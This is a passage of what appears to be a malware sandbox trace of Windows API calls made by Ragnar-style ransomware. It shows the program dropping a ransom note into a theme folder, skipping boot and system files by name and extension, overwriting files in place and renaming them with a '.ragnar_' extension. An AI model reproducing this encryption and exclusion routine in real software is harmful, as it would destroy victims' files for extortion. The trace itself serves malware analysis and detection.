lpString1="SUMIPNTG") returned="SUMIPNTG" [0077.162] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\" [0077.162] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\" [0077.162] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\RGNR_FD7BD9FC.txt" [0077.162] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0077.164] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*" [0077.164] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.164] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.164] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0077.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x803b6f00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x803b6f00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.164] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0077.164] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x803b6f00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x803b6f00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.164] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0077.164] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0077.164] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0077.164] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0077.164] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0077.164] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803b6f00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x803b6f00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.164] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0077.164] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0077.164] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0077.165] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2=".") returned 1 [0077.165] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="..") returned 1 [0077.165] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0077.165] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2=".") returned 1 [0077.165] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2="..") returned 1 [0077.165] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0077.165] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0077.165] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0077.165] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0077.165] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0077.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x803b6f00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x803b6f00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0077.165] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x803b6f00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x803b6f00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.165] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0077.165] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.165] lstrcpyW (in: lpString1=0x1eab72, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0077.165] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned=".GIF" [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0077.165] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0077.166] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0077.166] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0077.166] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0077.166] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0077.166] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0077.166] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0077.166] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0077.166] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0077.166] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0077.166] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0077.166] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0077.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0077.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.166] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=4991) returned 1 [0077.166] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1376, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.166] GetProcessHeap () returned 0x580000 [0077.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.166] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.168] VirtualAlloc (lpAddress=0x0, dwSize=0x137f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.168] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.168] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.168] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x137f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x137f, lpOverlapped=0x0) returned 1 [0077.170] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.170] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x137f, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.170] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x137f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x137f, lpOverlapped=0x0) returned 1 [0077.170] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x137f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.170] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.170] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x137f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.170] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.170] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.170] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.170] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0077.170] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.170] GetProcessHeap () returned 0x580000 [0077.170] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0077.171] CloseHandle (hObject=0x100) returned 1 [0077.171] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" [0077.171] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.ragnar_FD7BD9FC" [0077.171] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0077.172] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803b6f00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x803b6f00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0077.172] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.173] lstrcpyW (in: lpString1=0x1eab72, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0077.173] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\RGNR_FD7BD9FC.txt") returned=".txt" [0077.173] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0077.173] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0077.173] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0077.173] lstrcpyW (in: lpString1=0x1eab72, lpString2="SUMIPNTG.ELM" | out: lpString1="SUMIPNTG.ELM") returned="SUMIPNTG.ELM" [0077.173] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM") returned=".ELM" [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="autorun.inf") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="boot.ini") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="bootfont.bin") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="bootsect.bak") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="bootmgr") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="bootmgr.efi") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="bootmgfw.efi") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="desktop.ini") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="iconcache.db") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="ntldr") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="ntuser.dat") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="ntuser.dat.log") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="ntuser.ini") returned 1 [0077.173] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2="thumbs.db") returned -1 [0077.173] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0077.173] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0077.173] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0077.173] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0077.173] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0077.173] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0077.173] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0077.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm")) returned 0x20 [0077.175] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0077.175] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=106004) returned 1 [0077.175] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x19e0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.175] GetProcessHeap () returned 0x580000 [0077.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0077.175] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0077.193] VirtualAlloc (lpAddress=0x0, dwSize=0x19e14, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0077.193] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.193] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0077.193] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19e14, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x19e14, lpOverlapped=0x0) returned 1 [0077.196] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0077.196] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19e14, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.196] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19e14, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x19e14, lpOverlapped=0x0) returned 1 [0077.197] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19e14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0077.197] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0077.197] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x19e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.198] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0077.198] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.198] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0077.198] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, 